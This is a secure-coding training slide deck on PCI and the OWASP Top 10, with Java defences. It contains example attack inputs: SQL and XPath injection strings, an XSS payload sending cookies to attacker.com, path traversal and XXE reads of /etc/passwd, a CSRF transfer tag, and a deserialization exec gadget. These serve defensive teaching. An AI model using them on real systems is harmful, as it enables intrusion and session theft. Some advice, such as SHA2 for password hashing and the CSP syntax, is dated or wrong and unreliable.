Você está na página 1de 89

PCI Security

Requirements
Agenda
 Overview
 Information leakage and improper error handling
 Cross Site Scripting (XSS)
 Injection Flaws
 Malicious File Execution
 Insecure Direct Object References
 Cross Site Request Forgery (CSRF)
 Failure to Restrict URL Access
 Broken Authentication and Session Management
 XML External Entity (XXE)
 Insecure Deserialization
 Logging and Monitoring
Overview
 PCI DSS is a security standard that includes
requirements for:
 security management,
 policies,
 procedures,
 network architecture,
 software design and other critical protective measures
 PCI DSS purpose: to help the organizations to protect
customer account data.
 This session doesn’t cover all the security
requirements.
 This session covers only what has impact on our
code.
OWASP Top 10
 OWASP top 10 educates developers,
designers, managers, and organizations
about the most important security risks.
 OWASP top 10 provides basic techniques
to protect against the high risk security
problems.
- Information leakage and
improper error handling
 Providingtoo much information to the
user when an error occurs.
 Examples:
 An error message with too much detail
 Stack trace
 Failed SQL statement
ex: DbException: Syntax error (missing operator) in query
expression 'username = ''' and password = 'g''.
- Information leakage and
improper error handling
 Recommendation:
 Write detailed error information to secure
Log.
 Configure an exception handler in the
web.xml for all un-handled exceptions
<error-page>
<exception-
type>java.lang.Throwable</exception-type>
<location>/error.jsp</location>
</error-page>
OWASP Top 10 - Injection
 Injection flows, such as SQL, OS, Xpath, and LDAP
injection occur when untrusted data is sent to an
interpreter.
 This data can trick the interpreter to execute
unintended commands or accessing unauthorized
data.
 Threat Agents: anyone who can send data to the
system.
 Exploitability: Easy
 Prevalence: Common
 Detectability: Average
 Impact: Severe
OWASP Top 10 - Injection
 SQL Injection Example:
 String sqlString = "SELECT * FROM users WHERE fullname
= '" + form.getFullName() + "' AND password = '" +
form.getPassword() + "'";
 Case 1: full name: stspayone, password: 123pass
 Result: SELECT * FROM users WHERE username =
‘stspayone' AND password = '123pass'
 Case 2: full name: Ala' Ahmad, password: 123pass
 Result: SELECT * FROM users WHERE username = 'Ala'
Ahmad' AND password = ‘13pass'
 Case 3: full name: Ahmad, password: ' OR '1' = '1
 Result: SELECT * FROM users WHERE username = ‘Ahmad'
AND password = '' OR '1' = '1'
OWASP Top 10 - Injection
 XPath Injection Example:
 XML file:
<?xml version="1.0" encoding="utf-8"?>
<employees>
<employee id="AS1" firstname="John" salary=“100"/>
<employee id="AS2" firstname=“Adam“ salary=“200"/>
</employees>
 XPATH expression: String exp =
“/employees/employee[@id=‘”+form.getEID()+”']”
 User Input: Emp_ID=‘ or '1'='1
Result: /employees/employee[@id=‘‘ or '1'='1']
OWASP Top 10 - Injection
 Injection Protection:
 The preferred option is to use a safe API which
provides a parameterized interface.
String stmt = “select * from emp where id=?”;
PreparedStatement pstmt = con.prepareStatement(stmt);
pstmt.setString(1, empId);
 If a parameterized API is not available, escape the
special characters.
String exp = “/employees/employee[@id=‘”+
ESAPI.encoder().encodeForXPath(form.getEID())+
”']”
 If special characters are not required in the input, then
the white-list validation is also recommended.
OWASP Top 10 - Injection
 References:
 https://www.owasp.org/index.php/SQL_Inje
ction_Prevention_Cheat_Sheet
 https://www.owasp.org/index.php/Query_P
arameterization_Cheat_Sheet
 https://www.owasp.org/index.php/Comma
nd_Injection
 https://www.owasp.org/index.php/Testing_f
or_SQL_Injection_(OWASP-DV-005)
OWASP Top 10 - Broken
Authentication and Session
Management
 Functions related to authentication and session
management are often not implemented
correctly.
 Allow attackers to compromise passwords, keys, or
session tokens.
 Threat Agents: anyone who may attempt to steal
accounts from others to impersonate them.
 Exploitability: Average
 Prevalence: Widespread
 Detectability: Average
 Impact: Severe
OWASP Top 10 - Broken
Authentication and Session
Management
 Broken Authentication Examples:
 Application supports URL re-writing, putting session
IDs in the URL:
http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV
 if an authenticated user emailed the above link to his
friends to see the sale, he will give also his session ID.
 Application’s timeout aren’t set properly. User uses
a public computer to access a site and forgot to
logout.
 User passwords are not hashed and internal
attacker gains access to the password database.
OWASP Top 10 - Broken
Authentication and Session
Management
 Session Management Examples:
 Session Hijacking attacks compromises the session
token by stealing or predicting a valid session ID to
gain unauthorized access.
 Session ID can be compromised in different ways:
 If application generates predictable session IDs (For
example using sequencer).
 Session Sniffing (Session sidejacking)
 XSS
 Man in the middle attack
 Man in the browser attack
 Session fixation
OWASP Top 10 - Broken
Authentication and Session
Management
 Session Management Examples:
 Session Sniffing:
OWASP Top 10 - Broken
Authentication and Session
Management
 Session Management Examples:
 XSS:

 <SCRIPT>alert(document.cookie);</SCRIPT>
OWASP Top 10 - Broken
Authentication and Session
Management
 Session Management Examples:
Man in the middle attack:
The attacker acts as a proxy, being able to read, insert
and modify the data in the intercepted communication.
OWASP Top 10 - Broken
Authentication and Session
Management
 Session Management Examples:
 Man in the browser attack:
The Man-in-the-Browser attack is the same approach as
Man-in-the-middle attack, but in this case a Trojan Horse
is used to intercept and manipulate calls between the
main application’s executable (ex: the browser) and its
security mechanisms or libraries on-the-fly.
OWASP Top 10 - Broken
Authentication and Session
Management
OWASP Top 10 - Broken
Authentication and Session
Management
 Authentication Recommendations:
 Implement Proper Password Policy:
 Minimum length should be enforced by application;
shorter than 10 characters considered weak.
 Application should enforce password complexity; at least
1 upper case char, at least 1 lowercase char, at least 1
digit and at least 1 special char.
 Changing password should be EASY.
 Store Passwords hashed using strong algorithm (SHA2).
 Transmit passwords only over TLS.
 Require Re-authentication for sensitive requests (This also
protect against XSS and CSRF attacks)
 for example: shipping a purchase requests.
OWASP Top 10 - Broken
Authentication and Session
Management
 More Authentication Recommendation:
 Application must respond to failed login with generic
message;
 “Login Failed; Invalid UserID or password”
 Application must prevent Brute-Force Attacks (prevent
attacker to guess a password);
 Account must be locked out if more than a preset
number of failed logins are made.
 Use a single authentication point.
 Password must not be exposed in URL or hidden field.
 Password autocomplete should always be disabled.
<INPUT TYPE="password" AUTOCOMPLETE="off">
<form … AUTOCOMPLETE="off">
OWASP Top 10 - Broken
Authentication and Session
Management
 Session Protection Recommendations:
 It is recommended to use JEE built-in session management.
request.getSession();
 Transmit session IDs only over TLS
 Use Cookies for session ID exchange with following attributes:
 Secure Attribute; instruct the browser to only send session Id over
HTTPS
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;Secure
 HTTPOnly Attribute; instruct the browser not to allow malicious
scripts to access the cookies.
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;HTTPOnly
 Domain and Path attributes; instruct the browser to only send the
cookie to the specified domain and all sub-domains.
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;Domain=docs.foo.com;Path=/
accounts;
OWASP Top 10 - Broken
Authentication and Session
Management
 More Session Protection Recommendations:
 Invalidate the Session ID after any privilege level change
for the associated user.
session.invalidate();
 The session ID regeneration is mandatory to prevent
session fixation attacks.
 Set Session timeout:
2-5 minutes for high-value applications

 15-30 minutes for low-value applications
<web-app ...>
<session-config>
<session-timeout>20</session-timeout>
</session-config>
</web-app>
OWASP Top 10 - Broken
Authentication and Session
Management
 More Session Protection Recommendations:
 Force session logout on browser close event
using javascript
window.addEventListener('unload', function()
{
var xhr = new XMLHttpRequest();
xhr.open('GET', ‘Logout.jsp', false);
xhr.send(null);
}, false);
 Prevent simultaneous logons.
OWASP Top 10 - Broken
Authentication and Session
Management
 Detection:
 User credentials aren’t stored securely.
 Session IDs/Passwords are exposed in the URL.
 Session IDs/Passwords are exposed in hidden fields.
 Session IDs don’t timeout.
 Session IDs aren’t properly invalidated during logout.
 Session IDs aren’t rotated after successful login (this is
required to prevent session fixation).
 Passwords and session IDs are sent over unencrypted
connections.
 No lockout mechanism is implemented.
 Browser offers to remember any account credentials.
 Password is printed clear in the system logs.
OWASP Top 10 - Broken
Authentication and Session
Management
 References:
 https://www.owasp.org/index.php/Authenti
cation_Cheat_Sheet
 https://www.owasp.org/index.php/Session_
Management_Cheat_Sheet
OWASP Top 10 – Cross-Site
Scripting (XSS)
 XSS occur whenever an application takes untrusted
data and sends it to browser without proper
validation or escaping.
 XSS allows attackers to execute scripts in the
victim’s browser which can hijack user sessions or
redirect the user to malicious sites.
 Threat Agents: anyone who can send untrusted
data to the system.
 Exploitability: Average
 Prevalence: Very Widespread
 Detectability: Easy
 Impact: Moderate
OWASP Top 10 – Cross-Site
Scripting (XSS)
 Types of XSS:
 1.1 Stored XSS (AKA Persistent or Type I)
 1.2 Reflected XSS (AKA Non-Persistent or Type II)
 1.3 DOM Based XSS (AKA Type-0)
 DOM Based XSS (or as it is called in some texts, “type-0
XSS”) is an XSS attack wherein the attack payload is
executed as a result of modifying the DOM
“environment” in the victim’s browser used by the
original client side script, so that the client side code runs
in an “unexpected” manner. That is, the page itself (the
HTTP response that is) does not change, but the client
side code contained in the page executes differently
due to the malicious modifications that have occurred in
the DOM environment
OWASP Top 10 – Cross-Site
Scripting (XSS)
OWASP Top 10 – Cross-Site
Scripting (XSS)

 Example on DOM XSS :


 Suppose the following code is used to create a
form to let the user choose his/her preferred
language. A default language is also provided in
the query string, as the parameter “default”.
Select your language:
<select><script>
document.write("<OPTION
value=1>"+document.location.href.substring(document.lo
cation.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTIONvalue=2>English</OPTION>");
</script></select>
OWASP Top 10 – Cross-Site
Scripting (XSS)
The page is invoked with a URL such as:

http://www.some.site/page.html?default=French

A DOM Based XSS attack against this page can be


accomplished by sending the following URL to a victim:

http://www.some.site/page.html?default=<script>alert(docum
ent.cookie)</script>

When the victim clicks on this link, the browser sends a request
for:

/page.html?default=<script>alert(document.cookie)</script>
OWASP Top 10 – Cross-Site
Scripting (XSS)
 Examples:
 Application uses untrusted data in the
construction of HTML response:
(String) page += "<input name='creditcard'
type='TEXT‘ value='" + request.getParameter("CC") +
"'>";
The attacker modifies the ‘CC’ parameter in his
browser to:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

This causes the victim’s session ID to be sent to the


attacker’s website.
OWASP Top 10 – Cross-Site
Scripting (XSS)
 More XSS protection:
 The preferred option is to properly escape all untrusted
data based on the HTML context.
 String safe = ESAPI.encoder().encodeForHTML(
request.getParameter( "input" ) );
 ESAPI.encoder().encodeForHTMLAttribute(
request.getParameter( "input" ) );
 ESAPI.encoder().encodeForJavaScript( request.getParameter(
"input" ) );
 Whitelist input validation is also recommended;
validation should validate the length, characters,
format, and business rules.
 For rich content, use auto-sanitization libraries like
OWASP AntiSamy.
 Use HTTPOnly & Secure attributes
OWASP Top 10 – Cross-Site
Scripting (XSS)

 More XSS Protection:


 Implement Content Security Policy; CSP is a
browser side mechanism to create source
whitelists for client side resources.
Content-Security-Policy: default-src:
'self'; script-src: 'self'

 Browser will load all resources only from page’s


origin
 Browser will load javascript only from page’s
origin
OWASP Top 10 – Cross-Site
Scripting (XSS)

 References:
 https://www.owasp.org/index.php/XSS_(Cross_Si
te_Scripting)_Prevention_Cheat_Sheet
 https://www.owasp.org/index.php/Cross-
site_Scripting_(XSS)
 http://owasp-esapi-
java.googlecode.com/svn/trunk_doc/latest/or
g/owasp/esapi/Encoder.html
 https://www.owasp.org/index.php/AntiSamy
 https://www.owasp.org/index.php/Content_Se
curity_Policy
OWASP Top 10 – Insecure
Direct Object References
 DOR occurs when a reference is exposed to an
internal object, such as:
 Directory, file, database key.
 Without proper protection attacker can
manipulate these references to access
unauthorized data.
 Threat Agents: authorized user who has partial
access to certain functions.
 Exploitability: Easy
 Prevalence: Common
 Detectability: Easy
 Impact: Moderate
OWASP Top 10 – Insecure
Direct Object References
 Examples:
 The application uses unverified data in a SQL call
that is accessing account information:
String query = "SELECT * FROM accts WHERE account =
?";
PreparedStatement pstmt =
connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

 The attacker simply modifies the ‘acct’ parameter


to send whatever account number he wants
http://example.com/app/accountInfo?acct=notmya
cct
OWASP Top 10 – Insecure
Direct Object References
 More Examples:
 http://www.example.com/GetFile?fileNam
e=image.jpg
 What will happen if user manipulated with
the above URL as following:
http://www.example.com/GetFile?fileNam
e=../../etc/passwd
OWASP Top 10 – Insecure
Direct Object References
 DOR Prevention:
 Use per session indirect object references.
 This prevents attacker from directly targeting unauthorized
resources.
 Check access
 Each use of a direct object reference must include and access
control check.
 Check access vs. Indirect object reference
 Authorization:
 May require an extra DB hit
 Exposes actual ID
 Indirect object reference
 May not require an extra DB hit
 Hides actual ID
 Requires a bit of extra coding and some extra information
 Not very popular
OWASP Top 10 – Insecure
Direct Object References
 References:
 https://www.owasp.org/index.php/Top_10_
2007-Insecure_Direct_Object_Reference
 http://cwe.mitre.org/data/definitions/22.ht
ml
OWASP Top 10 – Security
Misconfiguration
 Security Misconfiguration occurs when default
setup and configuration is used and no
regular updates are performed on software.
 Threat Agents: Anyone who want to
compromise the system.
 Exploitability: Easy
 Prevalence: Common
 Detectability: Easy
 Impact: Moderate
OWASP Top 10 – Security
Misconfiguration
 Recommendations:
 Secure settings should be defined,
implemented and maintained, as defaults
are often insecure.
 Perform regular updates on software
OWASP Top 10 – Sensitive Data
Exposure
 Occur when sensitive data (such as credit
card) are not properly protected.
 Attackers may steal or modify such weakly
protected data.
 Threat Agents: Anyone who access to the
sensitive data. This include data in DB, in
transit, and even in users browser.
 Exploitability: Difficult
 Prevalence: Uncommon
 Detectability: Average
 Impact: SEVERE
OWASP Top 10 – Sensitive Data
Exposure
 Examples:
 A site doesn’t use SSL for pages capture
sensitive data.
 Attacker monitors network traffic and steals
the user’s sensitive data.
 The password database uses unsalted
hashes to store passwords.
 Attacker may use rainbow table of pre-
calculated hashes to compromise the plain
passwords.
OWASP Top 10 – Sensitive Data
Exposure
 Recommendations:
 Determine what is the data you want to protect.
 Only store sensitive data that you need
 Only use strong cryptographic algorithms; AES, RSASHA-256
 Ensure that random numbers are cryptographically strong
 Java.security.SecureRandom
 Store the passwords hashed and salted.
 Define a key lifecycle.
 Store Card numbers encrypted and/or Masked.
 Use TLS for all login pages
 Use TLS for channels transmitting sensitive data.
 Don’t mix non-TLS and TLS contents
OWASP Top 10 – Sensitive Data
Exposure
 More Recommendations:
 Use “Secure” Cookie flag
 Keep sensitive data out of the URL
 Prevent Caching of sensitive data:
 Add HTTP response headers; "Cache-Control:
no-cache, no-store“, "Expires: 0“, and
"Pragma: no-cache“
 Use Fully Qualified Names in Certificates
 Do Not Use Wildcard Certificates
OWASP Top 10 – Sensitive Data
Exposure
 References:
 http://en.wikipedia.org/wiki/Rainbow_table
 https://www.owasp.org/index.php/Cryptog
raphic_Storage_Cheat_Sheet
 https://www.owasp.org/index.php/Passwor
d_Storage_Cheat_Sheet
 https://www.owasp.org/index.php/Transpor
t_Layer_Protection_Cheat_Sheet
OWASP Top 10 – Missing
Function Level Access Control
 With this threat, the attacker changes the
URL to access a privileged pages.
 Threat Agents: Anyone; authorized user or
anonymous user.
 Exploitability: Easy
 Prevalence: Common
 Detectability: Average
 Impact: Moderate
OWASP Top 10 – Missing
Function Level Access Control
 Examples:
 User changes URL from:
http://www.example.com/get_info
 To:
http://www.example.com/get_Admin_Info
 A page provides an action parameter to
specify the function being invoked and user
changed the action value.
OWASP Top 10 – Missing
Function Level Access Control
 Recommendations:
 Ensure the access control matrix is part of the
business, architecture, and design of the
application
 Ensure that all URLs and business functions are
protected by centralized and effective access
control mechanism.
 For example by using a servlet filter the intercepts all
incoming requests to verify if the user is authorized to
access the requested page
 Just because your URL is hard to guess, doesn’t
mean it can’t be found!
 Put your UI files under /WEB-INF
OWASP Top 10 – Missing
Function Level Access Control
 More Recommendations:
 Web applications should access the
database through one or more limited
accounts that do not have schema-
modification privileges
OWASP Top 10 – Cross-Site
Request Forgery (CSRF)
 CSRF: forces logged-in victim to send a
request to a vulnerable web application.
 Threat Agents: Anyone.
 Exploitability: Average
 Prevalence: Common
 Detectability: Easy
 Impact: Severe
OWASP Top 10 – Cross-Site
Request Forgery (CSRF)
 Examples:
 A hacker posts to a blog containing an image tag (blog
site allows XSS):
 <img
src=“http://www.yourbank.com/transfer?to_acc=hacker
_acc_num&amount=1000”/>
 User logs into yourbank.com (session is active for user)
 User visits the blog (without logging-out from
yourbank.com)
 Loading the image will send request to the bank site
 The bank will transfer the user’s money to hacker’s
account
OWASP Top 10 – Cross-Site
Request Forgery (CSRF)
 Recommendations:
 Make sure there are no XSS vulnerabilities in your
application; refer to XSS protection slides.
 Do not use GET requests to perform transactional
operations.
 For sensitive transactions, re-authenticate.
 Add a confirmation page.
 Use CAPTCHA
 Insert custom random tokens into every form and URL
 CSRF token must be different on each request or at least
on each session.
 Use CSRFTester tool; CSRFTester give developers the
ability to test their applications for CSRF flaws
OWASP Top 10 – Cross-Site
Request Forgery (CSRF)
 More Recommendations:
 Do not use GET requests
public void doGet(HttpServletRequest req,
HttpServletResponse resp) {
throw new Exception(“Invalid
operation”);
}
OWASP Top 10 – Cross-Site
Request Forgery (CSRF)
 References:
 https://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)_Prevention_C
heat_Sheet
 https://www.owasp.org/index.php/CSRFGu
ard
 https://www.owasp.org/index.php/CSRFTes
ter
OWASP Top 10 – Using
Components with Known
Vulnerabilities
 Components, such as libraries, frameworks,
and other software modules, almost always
run with full privileges.
 If a vulnerable component is exploited, such an
attack can facilitate serious data loss or server
takeover
 Threat Agents: Anyone.
 Exploitability: Average
 Prevalence: Widespread
 Detectability: Difficult
 Impact: Moderate
OWASP Top 10 – Using
Components with Known
Vulnerabilities
 Examples:
 Apache CXF Authentication Bypass – By
failing to provide an identity token,
attackers could invoke any web service
with full permission.
 Struts Vulnerabilities:
http://www.cvedetails.com/vulnerability-
list/vendor_id-45/product_id-6117/Apache-
Struts.html
OWASP Top 10 – Using
Components with Known
Vulnerabilities
 Recommendations:
 Identify all components and the versions you
are using.
 Monitor the security of these components in
public databases; http://www.cvedetails.com/
 Where appropriate, consider adding security
wrappers around components to disable secure
weak aspects of the component.
 Always update the component to the latest
version.
OWASP Top 10 – Un-validated
Redirects and Forwards
 Web applications usually redirect users to
other pages, and use untrusted data to
determine the destination pages.
 Without proper validation, attackers can
redirect victims to phishing sites.
 Threat Agents: Anyone who can trick your
users.
 Exploitability: Average
 Prevalence: Uncommon
 Detectability: Easy
 Impact: Moderate
OWASP Top 10 – Un-validated
Redirects and Forwards
 Examples:
 The application has a page called
“redirect.jsp” which takes a parameter
named “url”.
 Theattacker emails to victim a malicious URL:
http://www.example.com/redirect.jsp?url=evi
l.com
OWASP Top 10 – Un-validated
Redirects and Forwards
 Recommendations:
 Simply avoid using redirects.
 If used to, don’t involve user parameters to
determine the destination.
 If parameters can’t be avoided, ensure
that the supplied value is valid.
 Applications can use ESAPI to override the
sendRedirect() method to make sure all
redirect destinations are safe.
OWASP Top 10 – Un-validated
Redirects and Forwards
 References:
 http://owasp-esapi-
java.googlecode.com/svn/trunk_doc/lates
t/org/owasp/esapi/filters/SecurityWrapperR
esponse.html#sendRedirect(java.lang.Strin
g)
ClickJacking
 Clickjacking occurs when your site can be
embedded into other sites.
 Attacker can lead user to believe they are
typing-in the password to their email, but are
instead typing into an invisible frame hijacks
your keystrokes.
 To Prevent ClickJacking, you need to prevent
your site from being embedded in iframes.
 Use X-FRAME-OPTIONS header:
 DENY
 SAMEORIGIN
 ALLOW-FROM uri
XXE (XML External Entity)
 An XML External Entity attack is a type of
attack against an application that parses
XML input. This attack occurs when XML
input containing a reference to an
external entity is processed by a weakly
configured XML parser. This attack may
lead to the disclosure of confidential
data, denial of service, server side request
forgery, and other system impacts.
XXE (XML External Entity)
 Examples:

 Request:
POST http://example.com/xml HTTP/1.1

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World">
]>
<foo>
Hello &bar;
</foo>

 Response
HTTP/1.0 200 OK
Hello World
XXE (XML External Entity)
 Examples:

 XML entities can be used by an attacker to


cause a Denial of Service attack by
embedding entities, within entities within
entities. This attack is commonly referred to
as the “Billion Laughs attack”. Some XML
parsers automatically limit the amount of
memory they can use.
XXE (XML External Entity)
 Examples:

 Request:
POST http://example.com/xml HTTP/1.1

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World ">
<!ENTITY t1 "&bar;&bar;">
<!ENTITY t2 "&t1;&t1;&t1;&t1;">
<!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
<foo>
Hello &t3;
</foo>
XXE (XML External Entity)
 Examples:

 Response:
HTTP/1.0 200 OK

Hello World World World World World


World World World World World World
World World World World World World
World World World World World World
World World World World World World
World World World World World World
World World World World World
XXE (XML External Entity)
 Examples:

 Request:
POST http://example.com/xml HTTP/1.1

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"file:///etc/passwd">
]>
<foo>
&bar;
</foo>
XXE (XML External Entity)
 Examples:

 Response:
HTTP/1.0 200 OK

12345678
XXE (XML External Entity)
 Recommendations:
 Whenever possible, use less complex data formats
such as JSON, and avoiding serialization of sensitive
data.
 Upgrade all XML processors and libraries in use by the
application or on the underlying operating system.
Update SOAP to SOAP 1.2 or higher.
 Disable XML external entity and DTD processing in all
XML parsers in the application as per the OWASP
Cheat Sheet ‘XXE Prevention’.
 Implementing positive (“whitelisting”) server side input
validation, filtering, or sanitization to prevent hostile
data within XML documents.
 SAST tools can help detect XXE in source code,
although manual code review is the best alternative
in large, complex applications with may integrations.
XXE (XML External Entity)
 References:
 OWASP Application Security Verification
Standard
 Testing for XML Injection
 XML External Entity (XXE) Processing
 XML External Entity (XXE) Prevention
Cheat Sheet
 XML Security Cheat Sheet
Insecure Deserialization
 Serialization is the process of turning some object
into a data format that can be restored later.
People often serialize objects in order to save
them to storage, or to send as part of
communications. Deserialization is the reverse of
that process -- taking data structured from some
format, and rebuilding it into an object. Today,
the most popular data format for serializing data
is JSON. Before that, it was XML.
 applications and APIs will be vulnerable if they
desterilize hostile or tampered objects supplied
by an attacker.
Insecure Deserialization

 Thiscan result in two primary types of


attacks:
 Object and data structure related attacks where
the attacker modifies application logic or achieves
arbitrary remote code execution if there are classes
available to the application that can change
behavior during or after deserialization.
 Typical data tempering attacks, such as access
control related attacks where existing data
structures are used but the content is changed
Insecure Deserialization

 Examples:
 Public class DangerousToy implements Serializable {
Private String command;
----

Public final Object readObject(ObjectInputStream ois)


throws OperationDataException, ClassNotFoundException,
IOException {
ois.defaultReadObject();
Runtime.getRuntime.exec(command);
}
}
Insecure Deserialization
 Recommendations:
 Prevent Data Leakage:
If there are members of the object graph that
should never be controlled by end users during
deserialization or exposed to users during
serialization, they should be marked with the
transient keyword.

 Prevent Deserialization of Domain Objects:


Some of your application objects may be forced
to implement Serializable due to their hierarchy.
To guarantee that your application objects can't
be deserialized, a readObject() should be
declared (with a final modifier) which always
throws an exception.
Insecure Deserialization

 Recommendations:
private final void readObject (ObjectInputStream in)
throws java.io.IOException {
throw new java.io.IOException ("Cannot be
deserialized");
}

 Harden Your Own java.io.ObjectInputStream:


This is the best solution if:
 You can change the code that does the deserialization
 You know what classes you expect to deserialize
Insecure Deserialization

 Recommendations:
The general idea is to override
ObjectInputStream.html#resolveClass() in order to restrict
which classes are allowed to be deserialized. Because this
call happens before a readObject() is called, you can be
sure that no deserialization activity will occur unless the
type is one that you wish to allow.
Insecure Deserialization
 Recommendations:
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException


{
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException( "Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
Insecure Deserialization

 References:
 Deserialization Cheat Sheet
 OWASP Proactive Controls
 OWASP Application Security Verification Standard
 Surviving the Java Deserialization Apocalypse
 Friday the 13th: JSON Attacks
Insufficient Logging &
Monitoring
 Insufficient
logging, detection, monitoring and
active response occurs any time:

 Auditable events, such as logins, failed and high-value


transactions are not logged.
 Warning and errors generate no, inadequate, or unclear
log messages.
 Logs of applications and APIs are not monitored for
suspicious activity.
 Logs are only stored locally.
 Appropriate alerting thresholds and response escalation
processes are not in place or effective.
 The application is unable to detect, escalate, or alert for
active attacks in real time or near real time.
Insufficient Logging &
Monitoring
 Recommendations:

 As per the risk of data stored or processed by the application:

 Ensure all login, access control failures, and server side input validation
failures can be logged with sufficient user context to identify suspicious or
malicious accounts, and held for sufficient time to allow delayed
forensic analysis.

 Ensure that logs are generated in a format that can be easily consumed.

 Ensure high level transactions have an audit trail with integrity controls to
prevent tampering or deletion, such as append only database tables.

 Establish effective monitoring and alerting such that suspicious activities


are detected and responded to in a timely fashion.
Insufficient Logging &
Monitoring

 References:
OWASP Cheat Sheet: Logging
Useful HTTP Response Headers
Header Description Example
Name
Strict- Force every browser request to Strict-
Transport- be sent over TLS/SSL Transport-
Security Security:
max-
age=86400
00;
includeSub
Domains
X-Frame- Provides Clickjacking protection X-Frame-
Options Options:
deny
Useful HTTP Response Headers
Header Description Example
Name
X-XSS- This header enables the Cross- X-XSS-
Protection site scripting (XSS) filter built into Protection:
most recent web browsers. It's 1;
usually enabled by default mode=blo
anyway, so the role of this ck
header is to re-enable the filter
for this particular website if it
was disabled by the user.
X-Content- The only defined value, "nosniff", X-Content-
Type- prevents Internet Explorer and Type-
Options Google Chrome from MIME- Options:
sniffing a response away from nosniff
the declared content-type.
Useful HTTP Response Headers
Header Description Example
Name
X-WebKit- CSP prevents a wide range of X-WebKit-
CSP attacks, including Cross-site CSP:
scripting and other cross-site default-src
injections. 'self'
Useful HTTP Response Headers
 Sample response from google.com:
cache-control:private, max-age=0
content-encoding:gzip
content-type:text/html; charset=UTF-8
date:Wed, 05 Mar 2014 11:21:10 GMT
expires:-1
set-cookie:PREF=ID=3bb418586446f822; expires=Fri, 04-
Mar-2016 11:21:10 GMT; path=/; domain=.google.com
x-frame-options:SAMEORIGIN
x-xss-protection:1; mode=block
References
 ZAPTOOL Tutorial:
https://www.youtube.com/watch?v=cR4
gw-cPZOA

Você também pode gostar